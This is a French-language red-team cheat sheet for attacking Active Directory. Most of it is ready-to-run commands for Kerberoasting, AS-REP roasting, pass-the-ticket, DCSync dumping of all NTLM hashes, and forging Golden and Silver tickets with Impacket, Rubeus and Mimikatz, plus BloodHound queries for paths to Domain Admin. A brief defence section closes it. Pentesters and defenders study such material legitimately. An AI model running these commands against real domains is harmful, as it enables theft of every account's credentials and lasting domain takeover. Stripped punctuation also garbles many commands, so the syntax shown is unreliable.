Active Directory — Kerberoasting, AS-REP Roasting, DCSync, BloodHound
Attaques AD avancées : Kerberoasting, AS-REP Roasting, DCSync (Impacket), BloodHound — chemins d'élévation vers Domain Admin
Contexte
Kerberoasting Vol de tickets TGS pour des comptes avec SPN crack offlineAS-REP Roasting Comptes sans pr-auth Kerberos hash KRB5 AS-REP crack offlineDCSync Simuler un DC pour demander les hashes NTLM de tous les comptesBloodHound Cartographier les chemins dattaque vers Domain Admin
Kerberoasting
Principe1 Nimporte quel utilisateur authentifi peut demander un ticket TGS pour un SPN2 Le ticket est chiffr avec le hash NT du compte de service SPN3 Exporter le ticket crack offline mot de passe du compte de servicePas besoin de droits levs pour demander le ticket
# Lister les SPNs (comptes kerberoastables)# Depuis Linux (Impacket)GetUserSPNspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{DC_IP}} -request# Avec sortie directe pour hashcatGetUserSPNspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{DC_IP}} -request -outputfile kerberoast_hashestxt# Depuis Windows (Rubeus)Rubeusexe kerberoast /outfilekerberoasttxtRubeusexe kerberoast /ldapfilter'admincount=1' /outfilekerberoast_adminstxt # comptes admin seulement
# PowerShell natif — demander un ticket TGSAdd-Type -AssemblyName System.IdentityModel$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `-ArgumentList "{{SPN}}"[System.Convert]::ToBase64String($ticket.GetRequest())# PowerView — lister les SPNsGet-DomainUser -SPN | Select samaccountname, serviceprincipalname
# Cracker les tickets TGShashcat -m 13100 kerberoast_hashestxt /usr/share/wordlists/rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashestxt --format=krb5tgs
AS-REP Roasting
PrincipeCertains comptes ont "Do not require Kerberos preauthentication" activKDC rpond avec un AS-REP chiffr avec le hash de lutilisateurAucune authentification pralable ncessaire crack offline
# Identifier les comptes vulnérables (nécessite un compte valide)GetNPUserspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{DC_IP}} -request# Sans compte valide (si on a une liste d'utilisateurs)GetNPUserspy {{DOMAIN}} -usersfile userstxt -dc-ip {{DC_IP}} -no-pass -request# Rubeus (depuis Windows)Rubeusexe asreproast /outfileasrep_hashestxt
# Cracker les hash AS-REPhashcat -m 18200 asrep_hashestxt /usr/share/wordlists/rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashestxt --format=krb5asrep
Pass-the-Ticket (PTT)
# Importer un ticket Kerberos (fichier .ccache ou .kirbi)# Depuis Mimikatz — exporter les ticketsmimikatz# sekurlsa::tickets /export # exporte les tickets en .kirbi# Convertir et utiliser avec ImpacketticketConverterpy ticketkirbi ticketccacheexport KRB5CCNAME/tmp/ticket.ccachesecretsdumppy -k -no-pass {{DOMAIN}}{{USER}}{{DC_HOSTNAME}}# Rubeus — importer un ticket en mémoireRubeusexe ptt /ticketbase64_ticket_hereRubeusexe ptt /ticketticketkirbi# Vérifier le ticket en mémoireRubeusexe klist
DCSync — Dump de tous les hashes NTLM
PrrequisDroits "Replicating Directory Changes" et "Replicating Directory Changes All"Accords par dfaut Domain Admins Enterprise Admins Domain ControllersAccessibles via dlgation comptes compromis avec ces droits
# Impacket — DCSync depuis Linuxsecretsdumppy {{DOMAIN}}{{DA_USER}}{{DA_PASSWORD}}{{DC_IP}}secretsdumppy {{DOMAIN}}{{DA_USER}}{{DA_PASSWORD}}{{DC_IP}} -just-dc-user Administratorsecretsdumppy {{DOMAIN}}{{DA_USER}}{{DA_PASSWORD}}{{DC_IP}} -just-dc-ntlm# Pass-the-Hash pour DCSyncsecretsdumppy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{DC_IP}}
# Mimikatz — DCSync depuis Windowsmimikatz# lsadump::dcsync /domain:{{DOMAIN}} /user:Administratormimikatz# lsadump::dcsync /domain:{{DOMAIN}} /all /csv
BloodHound — Cartographie AD
# Collecte depuis Linux (SharpHound Python)pip3 install bloodhoundbloodhound-python -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}}-ns {{DC_IP}} -c All --zip# Collecte depuis Windows (SharpHound .exe)SharpHoundexe -c All --zipfilename bloodhound_datazipSharpHoundexe -c AllGPOLocalGroup --stealth# Lancer BloodHound + Neo4jneo4j startbloodhound &# Importer le ZIP → Upload Data
Requtes BloodHound essentielles CypherTrouver les chemins vers Domain AdminsPre-built Queries "Find Shortest Paths to Domain Admins"Kerberoastable users avec chemins DAMATCH uUser hasspntrue RETURN uAS-REP RoastableMATCH uUser dontreqpreauthtrue RETURN uComptes avec DCSync rightsMATCH nrGetChanges|GetChangesAll>dDomain RETURN nChemins depuis un compte compromisMATCH cComputer name"{{COMPROMISED_PC}}"nGroup name"DOMAIN ADMINS@{{DOMAIN}}"pshortestPathc1>n RETURN p
Golden Ticket & Silver Ticket
# Golden Ticket — nécessite le hash NTLM du compte KRBTGT# Récupérer krbtgt hash via DCSyncsecretsdumppy {{DOMAIN}}/Administrator{{PASSWORD}}{{DC_IP}} -just-dc-user krbtgt# Générer le Golden Ticket (Mimikatz)mimikatz# kerberos::golden /user:Administrator /domain:{{DOMAIN}} \/sid{{DOMAIN_SID}} /krbtgt{{KRBTGT_NTLM_HASH}} /ptt# → Ticket valide 10 ans, impersonne n'importe quel compte# Silver Ticket — hash du compte de service (ciblé)mimikatz# kerberos::golden /user:Administrator /domain:{{DOMAIN}} \/sid{{DOMAIN_SID}} /target{{SERVICE_HOST}}/servicecifs /rc4{{SERVICE_NTLM_HASH}} /ptt
Défense
# Kerberoasting — comptes de service avec mots de passe robustes# Utiliser GMSA (Group Managed Service Accounts) — rotation automatiqueNew-ADServiceAccount -Name "MySvc" -DNSHostName "{{DOMAIN}}" `-PrincipalsAllowedToRetrieveManagedPassword "{{SERVICE_HOSTS}}"# AS-REP Roasting — désactiver "Do not require Kerberos preauthentication"Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |Set-ADAccountControl -DoesNotRequirePreAuth $false# DCSync — audit des droits de réplicationGet-ADObject -Filter {ObjectClass -eq 'domainDNS'} -Properties nTSecurityDescriptor |Select-Object -ExpandProperty nTSecurityDescriptor |Select-Object -ExpandProperty Access |Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight"}
Le compte KRBTGT ne change jamais son mot de passe automatiquement. Un Golden Ticket forgé avec l'ancien hash reste valide jusqu'au changement du mot de passe KRBTGT (deux fois pour invalider les tickets existants). En cas de compromission d'un DC, changer le mot de passe KRBTGT deux fois est impératif.
BloodHound révèle systématiquement des chemins inattendus vers Domain Admin via des comptes de service ou des droits délégués oubliés. Dans 80% des environnements AD audités, un utilisateur non privilégié peut devenir DA en 3-4 sauts maximum. Lancer BloodHound au début d'un engagement interne avant toute tentative de bruteforce.